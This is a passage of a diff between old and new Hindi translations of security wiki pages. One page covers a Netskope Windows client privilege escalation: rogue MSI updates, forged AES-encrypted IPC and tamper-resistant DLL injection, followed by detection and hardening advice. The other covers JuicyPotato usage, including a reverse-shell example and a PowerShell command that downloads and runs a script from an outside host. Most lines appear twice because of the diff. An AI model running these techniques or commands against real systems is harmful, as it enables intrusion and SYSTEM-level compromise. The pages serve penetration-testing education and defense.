- Optional digest enforcement: config flag (e.g., check_msi_digest=false) अतिरिक्त cryptographic validation को अक्षम कर देता है।
Result: SYSTEM service आपके MSI को C:\ProgramData\Netskope\stAgent\data\*.msi से इंस्टॉल कर देता है और NT AUTHORITY\SYSTEM के रूप में arbitrary code execute करता है।
Result: SYSTEM सर्विस आपके MSI को
C:\ProgramData\Netskope\stAgent\data\*.msi
से इंस्टॉल कर देती है, और arbitrary code NT AUTHORITY\SYSTEM के रूप में execute होता है।
---
## 3) Forging encrypted IPC requests (when present)
R127 से, Netskope ने IPC JSON को एक encryptData फ़ील्ड में wrap किया जो Base64 जैसा दिखता है। reversing से पता चला कि AES उपयोग हुआ था और key/IV registry values से derive होते हैं जो किसी भी user द्वारा पढ़े जा सकते हैं:
R127 से, Netskope ने IPC JSON को encryptData फील्ड में लपेटा जो Base64 जैसा दिखता था। रिवर्सिंग से पता चला कि AES key/IV registry मानों से व्युत्पन्न थे जिन्हें किसी भी user द्वारा पढ़ा जा सकता है:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Attackers encryption reproduce कर सकते हैं और एक standard user से valid encrypted commands भेज सकते हैं। सामान्य सुझाव: अगर कोई agent अचानक अपनी IPC “encrypt” करता है, तो HKLM के अंतर्गत device IDs, product GUIDs, install IDs जैसे material खोजें।
Attackers उस encryption को reproduce कर सकते हैं और एक standard user से वैध encrypted commands भेज सकते हैं। सामान्य सुझाव: अगर कोई agent अचानक अपने IPC को “encrypt” करता है, तो HKLM के तहत device IDs, product GUIDs, install IDs जैसे मटेरियल की तलाश करें।
---
## 4) Bypassing IPC caller allowlists (path/name checks)
कुछ services peer को authenticate करने के लिए TCP connection का PID resolve करके image path/name को allowlisted vendor binaries (उदा., stagentui.exe, bwansvc.exe, epdlp.exe) के साथ compare करते हैं।
कुछ services peer को authenticate करने के लिए TCP connection का PID resolve करते हैं और image path/name की तुलना Program Files के तहत स्थित allowlisted vendor binaries (e.g., stagentui.exe, bwansvc.exe, epdlp.exe) के साथ करते हैं।
दो practical bypasses:
- किसी allowlisted process (उदा., nsdiag.exe) में DLL injection और उसके अंदर से IPC को proxy करें
- एक allowlisted binary को suspended स्थिति में spawn करें और CreateRemoteThread का उपयोग किए बिना अपनी proxy DLL bootstrap करें (see §5) ताकि driverenforced tamper rules संतुष्ट हों
Two practical bypasses:
- एक allowlisted process (e.g., nsdiag.exe) में DLL injection और उसके अंदर से IPC को proxy करना
- एक allowlisted binary को suspended स्थिति में spawn करें और CreateRemoteThread का उपयोग किए बिना अपना proxy DLL bootstrap करें (see §5) ताकि driverenforced tamper नियमों को संतुष्ट किया जा सके
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
Products अक्सर एक minifilter/OB callbacks driver (उदा., Stadrv) के साथ आते हैं जो protected processes के handles से खतरनाक अधिकार हटाते हैं:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME हटाता है
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE तक सीमित करता है
Products अक्सर एक minifilter/OB callbacks driver (e.g., Stadrv) के साथ भेजे जाते हैं जो protected processes के handles से खतरनाक अधिकार हटा देते हैं:
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
एक विश्वसनीय usermode loader जो इन प्रतिबंधों का सम्मान करता है:
1) CreateProcess of vendor binary with CREATE_SUSPENDED
2) वे handles प्राप्त करें जिनका आपको अभी भी अधिकार है: process पर PROCESS_VM_WRITE | PROCESS_VM_OPERATION, और thread handle के लिए THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (या अगर आप किसी ज्ञात RIP पर कोड patch कर रहे हैं तो सिर्फ THREAD_RESUME)।
3) ntdll!NtContinue (या कोई अन्य early, guaranteedmapped thunk) को ओवरराइट करें एक छोटे stub से जो आपकी DLL path पर LoadLibraryW कॉल करे, फिर वापस jump करे
4) ResumeThread करें ताकि आपका stub इन‑प्रोसेस ट्रिगर हो और आपकी DLL load हो जाए
एक विश्वसनीय usermode loader जो इन सीमाओं का सम्मान करता है:
1) CreateProcess के साथ vendor binary को CREATE_SUSPENDED में बनाएँ
2) उन handles को प्राप्त करें जिनका उपयोग अभी भी आपको करने की अनुमति है: process पर PROCESS_VM_WRITE | PROCESS_VM_OPERATION, और एक thread handle THREAD_GET_CONTEXT/THREAD_SET_CONTEXT के साथ (या यदि आप किसी ज्ञात RIP पर कोड patch करते हैं तो केवल THREAD_RESUME)।
3) ntdll!NtContinue (या कोई अन्य early, guaranteedmapped thunk) को एक छोटा सा stub से overwrite करें जो आपके DLL path पर LoadLibraryW को कॉल करता है, फिर वापस jump करता है
4) ResumeThread करके आपके stub को इन‑प्रोसेस ट्रिगर करें, और आपका DLL लोड होगा
क्योंकि आपने पहले सेprotected process पर PROCESS_CREATE_THREAD या PROCESS_SUSPEND_RESUME का उपयोग नहीं किया (आपने उसे बनाया था), driver की policy संतुष्ट होती है।
क्योंकि आपने पहले सेprotected process पर PROCESS_CREATE_THREAD या PROCESS_SUSPEND_RESUME का उपयोग नहीं किया (आपने उसे बनाया), ड्राइवर की नीति संतुष्ट रहती है।
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) एक rogue CA, malicious MSI signing automate करता है, और आवश्यक endpoints सर्व करता है: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope एक custom IPC client है जो arbitrary (optionally AESencrypted) IPC messages बनाता है और suspendedprocess injection शामिल करता है ताकि originate हो एक allowlisted binary से।
- NachoVPN (Netskope plugin) एक rogue CA, malicious MSI signing को automate करता है, और आवश्यक endpoints सर्व करता है: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate
- UpSkope एक custom IPC client है जो arbitrary (optionally AESencrypted) IPC messages बनाता है और suspendedprocess injection शामिल करता है ताकि यह allowlisted binary से originate करे।
---
## 7) Detection opportunities (blue team)
- Local Machine Trusted Root में additions की निगरानी करें। Sysmon + registrymod eventing (देखें SpecterOps guidance) अच्छा काम करता है
- agent की service द्वारा ऐसे paths से शुरू किए गए MSI executions को flag करें जैसे C:\ProgramData\<vendor>\<agent>\data\*.msi।
- agent logs की समीक्षा करें unexpected enrollment hosts/tenants के लिए, उदाहरण: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log addonUrl / tenant anomalies और provisioning msg 148 देखें।
- localhost IPC clients पर alert करें जो expected signed binaries नहीं हैं, या जो असामान्य child process trees से ते हैं।
- Local Machine Trusted Root में additions की निगरानी करें। Sysmon + registrymod eventing (see SpecterOps guidance) प्रभावी हैं
- Agent की service द्वारा paths जैसे C:\ProgramData\<vendor>\<agent>\data\*.msi से शुरू की गई MSI executions को flag करें
- अनपेक्षित enrollment hosts/tenants के लिए agent logs की समीक्षा करें, जैसे: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log addonUrl / tenant anomalies और provisioning msg 148 देखें।
- उन localhost IPC clients पर alert करें जो अपेक्षित signed binaries नहीं हैं, या जो असामान्य child process trees से originate होते हैं।
---
## Hardening tips for vendors
- enrollment/update hosts को strict allowlist से बाँधें; clientcode में untrusted domains को reject करें।
- image path/name checks के बजाय OS primitives (ALPC security, namedpipe SIDs) से IPC peers authenticate करें।
- worldreadable HKLM में secret material न रखें; अगर IPC encrypt करनी ही है तो keys protected secrets से derive करें या authenticated channels पर negotiate करें।
- updater को supplychain surface समझें: एक पूरी chain require करें जो आपके control वाले trusted CA तक जाती हो, package signatures को pinned keys के खिलाफ verify करें, और अगर validation config में disabled है तो fail closed रें।
- Enrollment/update hosts को एक सख्त allowlist पर बांधें; clientcode में untrusted domains को reject करें।
- Image path/name checks की बजाय IPC peers को OS primitives (ALPC security, namedpipe SIDs) से authenticate करें।
- Secret material को worldreadable HKLM से बाहर रखें; अगर IPC को encrypted होना ही है, तो keys को protected secrets से derive करें या authenticated channels पर negotiate करें।
- Updater को supplychain surface के रूप में मानें: अपने नियंत्रण में एक trusted CA तक पूरी chain आवश्यक करें, package signatures को pinned keys के खिलाफ verify करें, और यदि validation config में disabled है तो fail closed रें।
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)

View File

@ -2,58 +2,58 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato legacy है। यह सामान्यतः Windows 10 1803 / Windows Server 2016 तक के Windows वर्शन पर काम करता है। Microsoft द्वारा Windows 10 1809 / Server 2019 में शुरू की गई hardening ने मूल तकनीक को तोड़ दिया। उन बिल्ड्स और नए वर्शनों के लिए PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato और अन्य आधुनिक विकल्पों पर विचार करें। अप-टू‑डेट विकल्पों और उपयोग के लिए नीचे दी गई पृष्ठ देखें।
> [!WARNING] > JuicyPotato is legacy. यह आम तौर पर Windows के उन वर्शन तक भरोसेमंद रूप से काम करता है जो Windows 10 1803 / Windows Server 2016 तक हैं। Microsoft द्वारा Windows 10 1809 / Server 2019 में की गई hardening ने मूल तकनीक को तोड़ दिया। उन बिल्ड्स और नए वर्शन के लिए PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato और अन्य जैसे आधुनिक विकल्पों पर विचार करें। अद्यतन विकल्पों और उपयोग के लिए नीचे दी गई पृष्ठ देखें।
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
## Juicy Potato (गोल्डन privileges का दुरुपयोग) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### आप juicypotato को [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) से डाउनलोड कर सकते हैं
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Compatibility quick notes
- वर्तमान context के पास `SeImpersonatePrivilege` या `SeAssignPrimaryTokenPrivilege` होने पर यह Windows 10 1803 और Windows Server 2016 तक विश्वसनीय रूप से काम करता है
- Windows 10 1809 / Windows Server 2019 और बाद के वर्शनों में Microsoft hardening के कारण यह टूट गया है। उन बिल्ड्स के लिए ऊपर लिंक किए गए विकल्पों का उपयोग करें।
- यह तभी भरोसेमंद रूप से काम करता है जब वर्तमान context में SeImpersonatePrivilege या SeAssignPrimaryTokenPrivilege मौजूद हों, और Windows 10 1803 तथा Windows Server 2016 तक के वर्शन पर
- Windows 10 1809 / Windows Server 2019 और बाद के वर्शन में Microsoft की hardening के कारण यह टूटा हुआ है। उन बिल्ड्स के लिए ऊपर लिंक किए गए विकल्पों को प्राथमिकता दें।
### Summary <a href="#summary" id="summary"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [variants](https://github.com/decoder-it/lonelypotato) उस privilege escalation chain का उपयोग करते हैं जो `BITS` service पर आधारित है, जिसमें MiTM listener `127.0.0.1:6666` पर चलता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` privileges होते हैं। Windows build review के दौरान हमें एक सेटअप मिला जहाँ `BITS` जानबूझकर disabled था और port `6666` पहले से लिया हुआ था।
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [variants](https://github.com/decoder-it/lonelypotato) ने उस privilege escalation chain का उपयोग किया है जो [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) के MiTM listener पर `127.0.0.1:6666` होने और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` privileges हों तब आधारित है। एक Windows build review के दौरान हमें एक ऐसा setup मिला जहाँ `BITS` जानबूझकर disabled था और port `6666` उपयोग में था।
हमने [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) को weaponize करने का निर्णय लिया: **Juicy Potato से मिलिए**।
हमने [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) को weaponize करने का निर्णय लिया: **Say hello to Juicy Potato**.
> सिद्धांत के लिए देखें [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) और लिंक/संदर्भों की श्रृंखला का पालन करें।
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
हमने पाया कि `BITS` के अलावा भी कई COM servers हैं जिनका हम दुरुपयोग कर सकते हैं। उन्हें बस निम्न चाहिए:
हमने पाया कि `BITS` के अलावा भी कई COM servers हैं जिनका दुरुपयोग किया जा सकता है। उन्हें बस यह चाहिए कि:
1. वर्तमान user द्वारा instantiate किए जाने योग्य होना चाहिए, सामान्यतः एक “service user” जिसके पास impersonation privileges होते है
2. `IMarshal` interface को implement करना चाहिए
3. elevated user (SYSTEM, Administrator, …) के रूप में चलना चाहिए
1. वर्तमान user द्वारा instantiate किया जा सके, सामान्यतः एक “service user” जिसके पास impersonation privileges हों
2. यह `IMarshal` interface implement करे
3. यह किसी elevated user (SYSTEM, Administrator, …) के रूप में चल
कुछ परीक्षणों के बाद हमने कई Windows वर्शनों पर रुचिकर CLSIDs की एक विस्तृत सूची प्राप्त और परखी। [यहाँ](http://ohpe.it/juicy-potato/CLSID/) सूची OS के अनुसार व्यवस्थित मिलती है
कुछ परीक्षणों के बाद हमने कई Windows वर्शनों पर [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) की एक विस्तृत सूची प्राप्त और परीक्षण की
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato आपको निम्न करने देता है:
JuicyPotato आपको अनुमति देता है:
- **Target CLSID** _अपना कोई भी CLSID चुनें._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _आप वहां OS के अनुसार सूची पा सकते हैं._
- **COM Listening port** _अपनी पसंद का COM listening port निर्धारित करें (marshalled hardcoded 6666 की बजाय)_
- **COM Listening IP address** _सर्वर को किसी भी IP पर bind करें_
- **Process creation mode** _impersonated user के privileges के आधार पर आप निम्न में से चुन सकते हैं:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _यदि exploitation सफल होता है तो एक executable या script लॉन्च करें_
- **Process Argument** _लॉन्च किए गए प्रोसेस के arguments को कस्टमाइज़ करें_
- **RPC Server address** _stealthy तरीके के लिए आप किसी external RPC server पर authenticate कर सकते हैं_
- **RPC Server port** _उपयोगी जब आप external server पर authenticate करना चाहते हों और firewall port `135` ब्लॉक कर रहा हो…_
- **TEST mode** _मुख्यत परीक्षण उद्देश्यों के लिए, जैसे CLSIDs का परीक्षण। यह DCOM बनाता है और token का user प्रिंट करता है। देखें_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
- **Target CLSID** _अपनी पसंद का कोई भी CLSID चुनें._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _आप OS के अनुसार व्यवस्थित सूची पा सकते हैं._
- **COM Listening port** _अपना पसंदीदा COM listening port परिभाषित करें (instead of the marshalled hardcoded 6666)_
- **COM Listening IP address** _server को किसी भी IP पर bind करें_
- **Process creation mode** _impersonated user के privileges के आधार पर आप न में से चुन सकते हैं:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _exploitation सफल होने पर कोई executable या script launch करें_
- **Process Argument** _launch किए जाने वाले process के arguments customize करें_
- **RPC Server address** _एक stealthy approach के लिए आप external RPC server पर authenticate कर सकते हैं_
- **RPC Server port** _यदि आप external server पर authenticate करना चाहते हैं और firewall `135` port को block कर रहा है तो यह उपयोगी है…_
- **TEST mode** _मुख्यत testing उद्देश्यों के लिए, जैसे CLSIDs का परीक्षण। यह DCOM बनाता है और token के user को print करता है। देखें_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
### Usage <a href="#usage" id="usage"></a>
```
@ -72,30 +72,30 @@ Optional args:
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
### अंतिम विचार <a href="#final-thoughts" id="final-thoughts"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
यदि उपयोगकर्ता के पास `SeImpersonate` या `SeAssignPrimaryToken` अधिकार हैं तो आप **SYSTEM** हैं।
यदि उपयोगकर्ता के पास `SeImpersonate` या `SeAssignPrimaryToken` privileges हैं तो आप **SYSTEM** हैं।
इन सभी COM Servers के दुरुपयोग को रोकना लगभग असंभव है। आप इन ऑब्जेक्ट्स की अनुमतियों को `DCOMCNFG` के माध्यम से बदलने के बारे में सोच सकते हैं लेकिन शुभकामनाएँ — यह चुनौतीपूर्ण होगा।
इन सभी COM Servers के दुरुपयोग को रोकना लगभग असंभव है। आप इन objects की permissions को `DCOMCNFG` के माध्यम से संशोधित करने के बारे में सोच सकते हैं लेकिन शुभकामनाएँ — यह चुनौतीपूर्ण होगा।
वास्तविक समाधान संवेदनशील खातों और उन applications की सुरक्षा करना है जो `* SERVICE` accounts के तहत चलती हैं। `DCOM` को रोकना निश्चित रूप से इस exploit को बाधित करेगा लेकिन इससे underlying OS पर गंभीर प्रभाव पड़ सकता है।
वास्तविक समाधान संवेदनशील accounts और applications की रक्षा करना है जो `* SERVICE` accounts के तहत चलती हैं। `DCOM` को रोकना निश्चित रूप से इस exploit को रोक देगा, पर यह underlying OS पर गंभीर प्रभाव डाल सकता है।
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG आधुनिक Windows पर JuicyPotato-शैली का local privilege escalation पुनः प्रस्तुत करता है, निम्न को संयोजित करके:
- चुने हुए पोर्ट पर लोकल RPC सर्वर के लिए DCOM OXID resolution, पुराने हार्डकोडेड 127.0.0.1:6666 listener से बचते हुए।
- एक SSPI hook जो inbound SYSTEM authentication को capture और impersonate करता है बिना RpcImpersonateClient की ज़रूरत के, जो तब भी CreateProcessAsUser सक्षम करता है जब केवल SeAssignPrimaryTokenPrivilege मौजूद हो।
- DCOM activation constraints को पूरा करने के तरीके (उदा., PrintNotify / ActiveX Installer Service classes को निशाना बनाते समय पहले के INTERACTIVE-group की आवश्यकता)।
JuicyPotatoNG आधुनिक Windows पर JuicyPotato-style local privilege escalation को पुनः पेश करता है, निम्न को संयोजित करके:
- चुने गए port पर स्थानीय RPC server के लिए DCOM OXID resolution, पुराने hardcoded 127.0.0.1:6666 listener से बचते हुए।
- RpcImpersonateClient की आवश्यकता के बिना inbound SYSTEM authentication को capture और impersonate करने के लिए एक SSPI hook, जो केवल SeAssignPrimaryTokenPrivilege मौजूद होने पर CreateProcessAsUser को भी सक्षम बनाता है
- DCOM activation constraints को पूरा करने के लिए ट्रिक्स (उदा., PrintNotify / ActiveX Installer Service classes को लक्षित करते समय पूर्व INTERACTIVE-group आवश्यकता)।
Important notes (evolving behavior across builds):
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
महत्वपूर्ण नोट्स (बिल्ड्स में बदलता व्यवहार):
- September 2022: प्रारम्भिक technique ने supported Windows 10/11 और Server लक्ष्यों पर “INTERACTIVE trick” का उपयोग करके काम किया।
- January 2023 update from the authors: Microsoft ने बाद में INTERACTIVE trick को ब्लॉक कर दिया। एक अलग CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) exploitation को पुनर्स्थापित करता है, लेकिन उनके पोस्ट के अनुसार केवल Windows 11 / Server 2022 पर।
Basic usage (more flags in the help):
बुनियादी उपयोग (अधिक flags के लिए help देखें):
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
@ -103,11 +103,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
अगर आप Windows 10 1809 / Server 2019 को लक्षित कर रहे हैं जहाँ क्लासिक JuicyPotato पैच किया जा चुका है, तो ऊपर लिंक किए गए विकल्पों (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, आदि) को प्राथमिकता दें। NG बिल्ड और सर्विस की स्थिति पर निर्भर करके परिस्थितिजन्य हो सकता है।
यदि आपका लक्ष्य Windows 10 1809 / Server 2019 है जहाँ classic JuicyPotato पैच किया जा चुका है, तो ऊपर लिंक किए गए विकल्पों (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, आदि) को प्राथमिकता दें। NG बिल्ड और सर्विस की स्थिति पर निर्भर कर सकता है।
## उदाहरण
नोट: कोशिश करने के लिए CLSIDs की सूची के लिए [this page](https://ohpe.it/juicy-potato/CLSID/) पर जाएँ।
नोट: आज़माने के लिए CLSIDs की सूची हेतु [this page](https://ohpe.it/juicy-potato/CLSID/) पर जाएँ।
### nc.exe reverse shell प्राप्त करें
```
@ -122,29 +122,29 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
### Powershell rev
### Powershell रिवर्स
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### एक न CMD लॉन्च करें (यदि आपके पास RDP एक्सेस है)
### एक नया CMD लॉन्च करें (यदि आपके पास RDP एक्सेस है)
![](<../../images/image (300).png>)
## CLSID समस्याएँ
अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** और exploit विफल हो जाता है। आमतौर पर, एक **काम करने वाला CLSID** खोजने में कई प्रयास लगते हैं। किसी विशिष्ट ऑपरेटिंग सिस्टम के लिए परीक्षण करने के लिए CLSID की सूची प्राप्त करने हेतु आपको इस पृष्ठ पर जाना चाहिए:
अक्सर JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** और exploit विफल हो जाती है। आमतौर पर एक **काम करने वाला CLSID** खोजने के लिए कई प्रयास करने पड़ते हैं। किसी विशिष्ट ऑपरेटिंग सिस्टम के लिए आज़माने हेतु CLSID की सूची प्राप्त करने के लिए, आपको इस पेज पर जाना चाहिए:
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **CLSID की जाँच**
सबसे पहले, आपको juicypotato.exe के अलावा कुछ executables चाहिए होंगे
सबसे पहले, आपको juicypotato.exe के अलावा कुछ executables की आवश्यकता होगी
Join-Object.ps1 डाउनलोड करें और इसे अपन PS session में लोड करें, और GetCLSID.ps1 डाउनलोड करके execute करें। वह script संभावित CLSID की सूची बनाएगा जिन्हें टेस्ट किया जा सकता है
Join-Object.ps1 डाउनलोड करें और इसे अपन PS session में लोड करें, और GetCLSID.ps1 डाउनलोड करके उसे execute करें। वह स्क्रिप्ट परीक्षण के लिए संभावित CLSID की एक सूची बनाएगी
फिर test_clsid.bat डाउनलोड करें (CLSID सूची और juicypotato executable के path को बदलें) और इसे execute करें। यह हर CLSID को आजमाना शुरू कर देगा, और **जब port number बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**
फिर test_clsid.bat डाउनलोड करें (CLSID सूची और juicypotato executable के पाथ को बदलें) और इसे execute करें। यह हर CLSID को आजमाना शुरू कर देगा, और **जब port number बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**
**-c पैरामीटर का उपयोग करके काम करने वाले CLSIDs की जांच करें**
**जांचें** काम करने वाले CLSIDs **-c पैरामीटर का उपयोग करके**
## संदर्भ